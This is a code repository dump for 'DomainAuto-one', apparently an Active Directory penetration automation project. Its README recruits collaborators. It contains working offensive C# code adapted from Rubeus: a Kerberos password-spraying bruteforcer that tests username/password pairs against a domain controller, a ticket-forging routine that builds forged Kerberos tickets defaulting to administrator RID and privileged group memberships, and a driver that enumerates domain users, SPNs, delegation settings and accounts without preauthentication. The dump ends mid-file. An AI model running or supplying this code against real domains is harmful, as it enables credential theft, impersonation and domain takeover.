IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using DomainInfo.Module.DomainInfo; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace DomainInfo 6 | { 7 | internal class Program 8 | { 9 | static void Main(string[] args) 10 | { 11 | List UserLists = ObjectInfo.GetUsers(); 12 | Console.WriteLine(UserLists[0]); 13 | ObjectInfo.GetDomainCs(); 14 | ObjectInfo.GetComputers(); 15 | ObjectInfo.GetGroups(); 16 | ObjectInfo.GetSPNs(); 17 | ObjectInfo.GetOUs(); 18 | ObjectInfo.GetGPOs(); 19 | ObjectInfo.GetAllowDelegations(); 20 | ObjectInfo.GetNoPreAuths(); 21 | ObjectInfo.GetConstrainDelegations(); 22 | ObjectInfo.GetRPConstrainDelegations(); 23 | ObjectInfo.GetDomainTrusts(); 24 | // ObjectInfo.GetObjectACL(ldapPath); 25 | ObjectInfo.GetNoAuthPasswordAccounts(); 26 | ObjectInfo.GetDomainAdminGroups(); 27 | ObjectInfo.IsInDomain(); 28 | ObjectInfo.GetGroupUser(); 29 | 30 | 31 | } 32 | 33 | 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("DomainInfo v0.01")] 9 | [assembly: AssemblyDescription("DomainInfo")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DomainInfo")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("86CB5B16-9986-15A2-BBBB-798C0E56A92D")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*",如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("0.0.1.0")] 36 | [assembly: AssemblyFileVersion("0.0.1.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DomainAuto-one 2 | Domain penetration automation module one, domain information collection. 3 | 4 | # 筛选细则 5 | 6 | 根据下边参考资料,完成模块二。 7 | 8 | 招募队友,会C#,并且对域渗透自动化感兴趣的小伙伴,我们一起搞事情。 9 | 10 | ![moduleTwo](https://user-images.githubusercontent.com/125958751/229003621-6510f7b5-d813-4550-a38d-76ce948bb8f3.jpg) 11 | 12 | # 联系 13 | 14 | ![gongzhonghao](https://user-images.githubusercontent.com/125958751/229005057-60e9bb02-8d7f-421c-bc7b-bb2b9ead1a40.png) 15 | 16 | -------------------------------------------------------------------------------- /lib/Bruteforcer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace Rubeus 5 | { 6 | 7 | public interface IBruteforcerReporter 8 | { 9 | void ReportValidPassword(string domain, string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE); 10 | void ReportValidUser(string domain, string username); 11 | void ReportInvalidUser(string domain, string username); 12 | void ReportBlockedUser(string domain, string username); 13 | void ReportKrbError(string domain, string username, KRB_ERROR krbError); 14 | } 15 | 16 | 17 | public class Bruteforcer 18 | { 19 | 20 | private string domain; 21 | private string dc; 22 | private IBruteforcerReporter reporter; 23 | private Dictionary invalidUsers; 24 | private Dictionary validUsers; 25 | private Dictionary validCredentials; 26 | 27 | public Bruteforcer(string domain, string domainController, IBruteforcerReporter reporter) 28 | { 29 | this.domain = domain; 30 | this.dc = domainController; 31 | this.reporter = reporter; 32 | this.invalidUsers = new Dictionary(); 33 | this.validUsers = new Dictionary(); 34 | this.validCredentials = new Dictionary(); 35 | } 36 | 37 | public bool Attack(string[] usernames, string[] passwords) 38 | { 39 | bool success = false; 40 | foreach (string password in passwords) 41 | { 42 | foreach (string username in usernames) 43 | { 44 | if(this.TestUsernamePassword(username, password)) 45 | { 46 | success = true; 47 | } 48 | } 49 | } 50 | 51 | return success; 52 | } 53 | 54 | private bool TestUsernamePassword(string username, string password) 55 | { 56 | try 57 | { 58 | if (!invalidUsers.ContainsKey(username) && !validCredentials.ContainsKey(username)) 59 | { 60 | this.GetUsernamePasswordTGT(username, password); 61 | return true; 62 | } 63 | } 64 | catch (KerberosErrorException ex) 65 | { 66 | return this.HandleKerberosError(ex, username, password); 67 | } 68 | 69 | return false; 70 | } 71 | 72 | private void GetUsernamePasswordTGT(string username, string password) 73 | { 74 | Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; 75 | string salt = String.Format("{0}{1}", domain.ToUpper(), username); 76 | 77 | // special case for computer account salts 78 | if (username.EndsWith("$")) 79 | { 80 | salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), username.TrimEnd('$').ToLower(), domain.ToLower()); 81 | } 82 | 83 | string hash = Crypto.KerberosPasswordHash(encType, password, salt); 84 | 85 | AS_REQ unpwAsReq = AS_REQ.NewASReq(username, domain, hash, encType); 86 | 87 | byte[] TGT = Ask.InnerTGT(unpwAsReq, encType, null, false, this.dc); 88 | 89 | this.ReportValidPassword(username, password, TGT); 90 | } 91 | 92 | private bool HandleKerberosError(KerberosErrorException ex, string username, string password) 93 | { 94 | 95 | 96 | KRB_ERROR krbError = ex.krbError; 97 | bool ret = false; 98 | 99 | switch ((Interop.KERBEROS_ERROR)krbError.error_code) 100 | { 101 | case Interop.KERBEROS_ERROR.KDC_ERR_PREAUTH_FAILED: 102 | this.ReportValidUser(username); 103 | break; 104 | case Interop.KERBEROS_ERROR.KDC_ERR_C_PRINCIPAL_UNKNOWN: 105 | this.ReportInvalidUser(username); 106 | break; 107 | case Interop.KERBEROS_ERROR.KDC_ERR_CLIENT_REVOKED: 108 | this.ReportBlockedUser(username); 109 | break; 110 | case Interop.KERBEROS_ERROR.KDC_ERR_ETYPE_NOTSUPP: 111 | this.ReportInvalidEncryptionType(username, krbError); 112 | break; 113 | case Interop.KERBEROS_ERROR.KDC_ERR_KEY_EXPIRED: 114 | this.ReportValidPassword(username, password, null, (Interop.KERBEROS_ERROR)krbError.error_code); 115 | ret = true; 116 | break; 117 | default: 118 | this.ReportKrbError(username, krbError); 119 | throw ex; 120 | } 121 | return ret; 122 | } 123 | 124 | private void ReportValidPassword(string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE) 125 | { 126 | 127 | validCredentials.Add(username, password); 128 | if (!validUsers.ContainsKey(username)) 129 | { 130 | validUsers.Add(username, true); 131 | } 132 | this.reporter.ReportValidPassword(this.domain, username, password, ticket, err); 133 | } 134 | 135 | private void ReportValidUser(string username) 136 | { 137 | if (!validUsers.ContainsKey(username)) 138 | { 139 | validUsers.Add(username, true); 140 | this.reporter.ReportValidUser(this.domain, username); 141 | } 142 | } 143 | 144 | private void ReportInvalidUser(string username) 145 | { 146 | if (!invalidUsers.ContainsKey(username)) 147 | { 148 | invalidUsers.Add(username, true); 149 | this.reporter.ReportInvalidUser(this.domain, username); 150 | } 151 | } 152 | 153 | private void ReportBlockedUser(string username) 154 | { 155 | if (!invalidUsers.ContainsKey(username)) 156 | { 157 | invalidUsers.Add(username, true); 158 | this.reporter.ReportBlockedUser(this.domain, username); 159 | } 160 | } 161 | 162 | private void ReportInvalidEncryptionType(string username, KRB_ERROR krbError) 163 | { 164 | if (!invalidUsers.ContainsKey(username)) 165 | { 166 | invalidUsers.Add(username, true); 167 | this.ReportKrbError(username, krbError); 168 | } 169 | } 170 | 171 | private void ReportKrbError(string username, KRB_ERROR krbError) 172 | { 173 | this.reporter.ReportKrbError(this.domain, username, krbError); 174 | } 175 | 176 | } 177 | } 178 | -------------------------------------------------------------------------------- /lib/ForgeTicket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Security.Principal; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Globalization; 7 | using System.DirectoryServices; 8 | using System.Text.RegularExpressions; 9 | using Rubeus.lib.Interop; 10 | using Rubeus.Kerberos.PAC; 11 | using Rubeus.Kerberos; 12 | 13 | namespace Rubeus 14 | { 15 | public class ForgeTickets 16 | { 17 | public static void ForgeTicket( 18 | // always required arguments 19 | string user, 20 | string sname, 21 | byte[] serviceKey, 22 | Interop.KERB_ETYPE etype, 23 | // krbtgt key information 24 | byte[] krbKey = null, 25 | Interop.KERB_CHECKSUM_ALGORITHM krbeType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, 26 | // ldap information 27 | bool ldap = false, 28 | string ldapuser = null, 29 | string ldappassword = null, 30 | // domain and DC information 31 | string sid = "", 32 | string domain = "", 33 | string netbiosName = "", 34 | string domainController = "", 35 | // ticket flags 36 | Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent, 37 | // ticket time information 38 | DateTime? startTime = null, 39 | DateTime? rangeEnd = null, 40 | string rangeInterval = "1d", 41 | DateTime? authTime = null, 42 | string endTime = "", 43 | string renewTill = "", 44 | // other PAC fields 45 | int? id = null, 46 | string groups = "", 47 | string sids = "", 48 | string displayName = "", 49 | short? logonCount = null, 50 | short? badPwdCount = null, 51 | DateTime? lastLogon = null, 52 | DateTime? logoffTime = null, 53 | DateTime? pwdLastSet = null, 54 | int? maxPassAge = null, 55 | int? minPassAge = null, 56 | int? pGid = null, 57 | string homeDir = "", 58 | string homeDrive = "", 59 | string profilePath = "", 60 | string scriptPath = "", 61 | string resourceGroupSid = "", 62 | List resourceGroups = null, 63 | Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT, 64 | bool newPac = false, 65 | // arguments to deal with resulting ticket(s) 66 | string outfile = null, 67 | bool ptt = false, 68 | // print a command to rebuild the ticket(s) 69 | bool printcmd = false, 70 | // arguments for unusual tickets 71 | string cName = null, 72 | string cRealm = null, 73 | string s4uProxyTarget = null, 74 | string s4uTransitedServices = null, 75 | bool includeAuthData = false 76 | ) 77 | { 78 | // vars 79 | int c = 0; 80 | DateTime originalStartTime = (DateTime)startTime; 81 | System.Net.NetworkCredential ldapCred = null; 82 | int? origMinPassAge = minPassAge; 83 | int? origMaxPassAge = maxPassAge; 84 | 85 | // initialise LogonInfo section and set defaults 86 | var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); 87 | kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(user); 88 | kvi.FullName = new Ndr._RPC_UNICODE_STRING(""); 89 | kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(""); 90 | kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(""); 91 | kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(""); 92 | kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(""); 93 | kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(""); 94 | kvi.UserSessionKey = Ndr._USER_SESSION_KEY.CreateDefault(); 95 | kvi.LogonTime = new Ndr._FILETIME(((DateTime)startTime).AddSeconds(-1)); 96 | kvi.LogoffTime = Ndr._FILETIME.CreateDefault(); 97 | kvi.PasswordLastSet = Ndr._FILETIME.CreateDefault(); 98 | kvi.KickOffTime = Ndr._FILETIME.CreateDefault(); 99 | kvi.PasswordCanChange = Ndr._FILETIME.CreateDefault(); 100 | kvi.PasswordMustChange = Ndr._FILETIME.CreateDefault(); 101 | kvi.LogonCount = 0; 102 | kvi.BadPasswordCount = 0; 103 | kvi.UserId = 500; 104 | kvi.PrimaryGroupId = 513; 105 | if (string.IsNullOrEmpty(groups)) 106 | { 107 | kvi.GroupCount = 5; 108 | kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[] { 109 | new Ndr._GROUP_MEMBERSHIP(520, 0), 110 | new Ndr._GROUP_MEMBERSHIP(512, 0), 111 | new Ndr._GROUP_MEMBERSHIP(513, 0), 112 | new Ndr._GROUP_MEMBERSHIP(519, 0), 113 | new Ndr._GROUP_MEMBERSHIP(518, 0), 114 | }; 115 | } 116 | kvi.UserAccountControl = (int)uac; 117 | kvi.UserFlags = 0; 118 | if (String.IsNullOrEmpty(sids)) 119 | { 120 | kvi.SidCount = 0; 121 | kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[] { 122 | new Ndr._KERB_SID_AND_ATTRIBUTES()}; 123 | } 124 | 125 | // get network credential from ldapuser and ldappassword 126 | if (!String.IsNullOrEmpty(ldapuser)) 127 | { 128 | // provide an alternate user to use for connection creds 129 | if (!Regex.IsMatch(ldapuser, ".+\\.+", RegexOptions.IgnoreCase)) 130 | { 131 | Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); 132 | return; 133 | } 134 | 135 | try 136 | { 137 | string[] ldapParts = ldapuser.Split('\\'); 138 | string ldapDomainName = ldapParts[0]; 139 | string ldapUserName = ldapParts[1]; 140 | 141 | ldapCred = new System.Net.NetworkCredential(ldapUserName, ldappassword, ldapDomainName); 142 | } 143 | catch 144 | { 145 | Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); 146 | return; 147 | } 148 | } 149 | 150 | 151 | // determine domain if not supplied 152 | string[] parts = sname.Split('/'); 153 | if (String.IsNullOrEmpty(domain)) 154 | { 155 | if ((parts.Length > 1) && (parts[0] == "krbtgt")) 156 | { 157 | Console.WriteLine("[X] TGT or referral TGT requires /domain to be passed."); 158 | return; 159 | } 160 | else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) 161 | { 162 | Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or 'host@domain.com'."); 163 | return; 164 | } 165 | else if (parts.Length > 1) 166 | { 167 | domain = parts[1].Substring(parts[1].IndexOf('.') + 1); 168 | string[] domainParts = domain.Split(':'); 169 | if (domainParts.Length > 1) 170 | { 171 | domain = domainParts[0]; 172 | } 173 | } 174 | else if (sname.Split('@').Length > 1) 175 | { 176 | domain = sname.Split('@')[1]; 177 | } 178 | else 179 | { 180 | Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); 181 | return; 182 | } 183 | } 184 | if (String.IsNullOrEmpty(netbiosName)) 185 | { 186 | kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(domain.Substring(0, domain.IndexOf('.')).ToUpper()); 187 | } 188 | 189 | // if /ldap was passed make the LDAP queries 190 | if (ldap) 191 | { 192 | // try LDAPS and fail back to LDAP 193 | List> ActiveDirectoryObjects = null; 194 | bool ssl = true; 195 | if (String.IsNullOrEmpty(domainController)) 196 | { 197 | domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain 198 | } 199 | 200 | Console.WriteLine("[*] Trying to query LDAP using LDAPS for user information on domain controller {0}", domainController); 201 | ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); 202 | if (ActiveDirectoryObjects == null) 203 | { 204 | Console.WriteLine("[!] LDAPS failed, retrying with plaintext LDAP."); 205 | ssl = false; 206 | ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); 207 | } 208 | if (ActiveDirectoryObjects == null) 209 | { 210 | Console.WriteLine("[X] Error LDAP query failed, unable to create ticket using LDAP."); 211 | return; 212 | } 213 | 214 | foreach (var userObject in ActiveDirectoryObjects) 215 | { 216 | string objectSid = (string)userObject["objectsid"]; 217 | string domainSid = objectSid.Substring(0, objectSid.LastIndexOf('-')); 218 | 219 | // parse the UAC field and set in the PAC 220 | if (uac == Interop.PacUserAccountControl.NORMAL_ACCOUNT) 221 | { 222 | kvi.UserAccountControl = 0; 223 | Interop.LDAPUserAccountControl userUAC = (Interop.LDAPUserAccountControl)userObject["useraccountcontrol"]; 224 | if ((userUAC & Interop.LDAPUserAccountControl.ACCOUNTDISABLE) != 0) 225 | { 226 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNTDISABLE; 227 | } 228 | if ((userUAC & Interop.LDAPUserAccountControl.HOMEDIR_REQUIRED) != 0) 229 | { 230 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.HOMEDIR_REQUIRED; 231 | } 232 | 233 | if ((userUAC & Interop.LDAPUserAccountControl.PASSWD_NOTREQD) != 0) 234 | { 235 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWD_NOTREQD; 236 | } 237 | if ((userUAC & Interop.LDAPUserAccountControl.TEMP_DUPLICATE_ACCOUNT) != 0) 238 | { 239 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TEMP_DUPLICATE_ACCOUNT; 240 | } 241 | if ((userUAC & Interop.LDAPUserAccountControl.NORMAL_ACCOUNT) != 0) 242 | { 243 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NORMAL_ACCOUNT; 244 | } 245 | if ((userUAC & Interop.LDAPUserAccountControl.MNS_LOGON_ACCOUNT) != 0) 246 | { 247 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.MNS_LOGON_ACCOUNT; 248 | } 249 | if ((userUAC & Interop.LDAPUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT) != 0) 250 | { 251 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT; 252 | } 253 | if ((userUAC & Interop.LDAPUserAccountControl.WORKSTATION_TRUST_ACCOUNT) != 0) 254 | { 255 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.WORKSTATION_TRUST_ACCOUNT; 256 | } 257 | if ((userUAC & Interop.LDAPUserAccountControl.SERVER_TRUST_ACCOUNT) != 0) 258 | { 259 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SERVER_TRUST_ACCOUNT; 260 | } 261 | if ((userUAC & Interop.LDAPUserAccountControl.DONT_EXPIRE_PASSWORD) != 0) 262 | { 263 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD; 264 | } 265 | // Is this right? LDAP UAC field doesn't contain ACCOUNT_AUTO_LOCKED, LOCKOUT looks like the most likely candidate 266 | if ((userUAC & Interop.LDAPUserAccountControl.LOCKOUT) != 0) 267 | { 268 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNT_AUTO_LOCKED; 269 | } 270 | if ((userUAC & Interop.LDAPUserAccountControl.ENCRYPTED_TEXT_PWD_ALLOWED) != 0) 271 | { 272 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ENCRYPTED_TEXT_PASSWORD_ALLOWED; 273 | } 274 | if ((userUAC & Interop.LDAPUserAccountControl.SMARTCARD_REQUIRED) != 0) 275 | { 276 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SMARTCARD_REQUIRED; 277 | } 278 | if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_FOR_DELEGATION) != 0) 279 | { 280 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_FOR_DELEGATION; 281 | } 282 | if ((userUAC & Interop.LDAPUserAccountControl.NOT_DELEGATED) != 0) 283 | { 284 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NOT_DELEGATED; 285 | } 286 | if ((userUAC & Interop.LDAPUserAccountControl.USE_DES_KEY_ONLY) != 0) 287 | { 288 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_DES_KEY_ONLY; 289 | } 290 | if ((userUAC & Interop.LDAPUserAccountControl.DONT_REQ_PREAUTH) != 0) 291 | { 292 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_REQ_PREAUTH; 293 | } 294 | if ((userUAC & Interop.LDAPUserAccountControl.PASSWORD_EXPIRED) != 0) 295 | { 296 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWORD_EXPIRED; 297 | } 298 | if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION) != 0) 299 | { 300 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION; 301 | } 302 | if ((userUAC & Interop.LDAPUserAccountControl.NO_AUTH_DATA_REQUIRED) != 0) 303 | { 304 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NO_AUTH_DATA_REQUIRED; 305 | } 306 | if ((userUAC & Interop.LDAPUserAccountControl.PARTIAL_SECRETS_ACCOUNT) != 0) 307 | { 308 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PARTIAL_SECRETS_ACCOUNT; 309 | } 310 | /* No USE_AES_KEYS bit seems to exist in the UAC field returned by LDAP 311 | if ((userUAC & Interop.LDAPUserAccountControl.USE_AES_KEYS) != 0) 312 | { 313 | kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_AES_KEYS; 314 | }*/ 315 | } 316 | 317 | List> adObjects = null; 318 | 319 | // build group and domain policy filter 320 | string filter = ""; 321 | string outputText = ""; 322 | if (string.IsNullOrEmpty(groups)) 323 | { 324 | if (userObject.ContainsKey("memberof")) 325 | { 326 | foreach (string groupDN in (string[])userObject["memberof"]) 327 | { 328 | filter += String.Format("(distinguishedname={0})", groupDN); 329 | } 330 | outputText += "group"; 331 | } 332 | } 333 | 334 | if (pGid == null) 335 | filter += String.Format("(objectsid={0}-{1})", domainSid, (string)userObject["primarygroupid"]); 336 | 337 | if (minPassAge == null || (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0))) 338 | { 339 | filter = String.Format("{0}(name={{31B2F340-016D-11D2-945F-00C04FB984F9}})", filter); 340 | if (String.IsNullOrEmpty(outputText)) 341 | { 342 | outputText = "domain policy"; 343 | } 344 | else 345 | { 346 | outputText = String.Format("{0} and domain policy", outputText); 347 | } 348 | } 349 | 350 | if (!String.IsNullOrEmpty(filter)) 351 | { 352 | // Try to get group and domain policy information from LDAP 353 | Console.WriteLine("[*] Retrieving {0} information over LDAP from domain controller {1}", outputText, domainController); 354 | adObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(|{0})", filter), ssl); 355 | if (adObjects == null) 356 | { 357 | Console.WriteLine("[!] Unable to get {0} information using LDAP, using defaults.", outputText); 358 | } 359 | else 360 | { 361 | if (userObject.ContainsKey("memberof")) 362 | { 363 | kvi.GroupCount = ((string[])userObject["memberof"]).Length + 1; 364 | kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[((string[])userObject["memberof"]).Length + 1]; 365 | } 366 | else 367 | { 368 | kvi.GroupCount = 1; 369 | kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[1]; 370 | } 371 | c = 0; 372 | foreach (var o in adObjects) 373 | { 374 | if (o.ContainsKey("gpcfilesyspath")) 375 | { 376 | string gptTmplPath = String.Format("{0}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf", (string)o["gpcfilesyspath"]); 377 | gptTmplPath = gptTmplPath.Replace(String.Format("\\\\{0}\\", domain), String.Format("\\\\{0}\\", domainController)); 378 | Dictionary> gptTmplObject = Networking.GetGptTmplContent(gptTmplPath, ldapuser, ldappassword); 379 | 380 | if (gptTmplObject == null) 381 | { 382 | Console.WriteLine("[!] Warning: Unable to get domain policy information, skipping PasswordCanChange and PasswordMustChange PAC fields."); 383 | continue; 384 | } 385 | 386 | if (minPassAge == null) 387 | { 388 | minPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MinimumPasswordAge"]); 389 | if (minPassAge > 0) 390 | { 391 | kvi.PasswordCanChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)minPassAge)); 392 | } 393 | } 394 | if (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) 395 | { 396 | maxPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MaximumPasswordAge"]); 397 | if (maxPassAge > 0) 398 | { 399 | kvi.PasswordMustChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)maxPassAge)); 400 | } 401 | } 402 | } 403 | else 404 | { 405 | string groupSid = (string)o["objectsid"]; 406 | int groupId = Int32.Parse(groupSid.Substring(groupSid.LastIndexOf('-') + 1)); 407 | Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(groupId, 7) }, 0, kvi.GroupIds, c, 1); 408 | c += 1; 409 | } 410 | } 411 | } 412 | } 413 | 414 | // preform the netbios name lookup 415 | if (String.IsNullOrEmpty(netbiosName)) 416 | { 417 | Console.WriteLine("[*] Retrieving netbios name information over LDAP from domain controller {0}", domainController); 418 | 419 | // first get forest root 420 | string forestRoot = null; 421 | try 422 | { 423 | forestRoot = System.DirectoryServices.ActiveDirectory.Forest.GetCurrentForest().RootDomain.Name; 424 | } 425 | catch 426 | { 427 | Console.WriteLine("[!] Unable to query forest root using 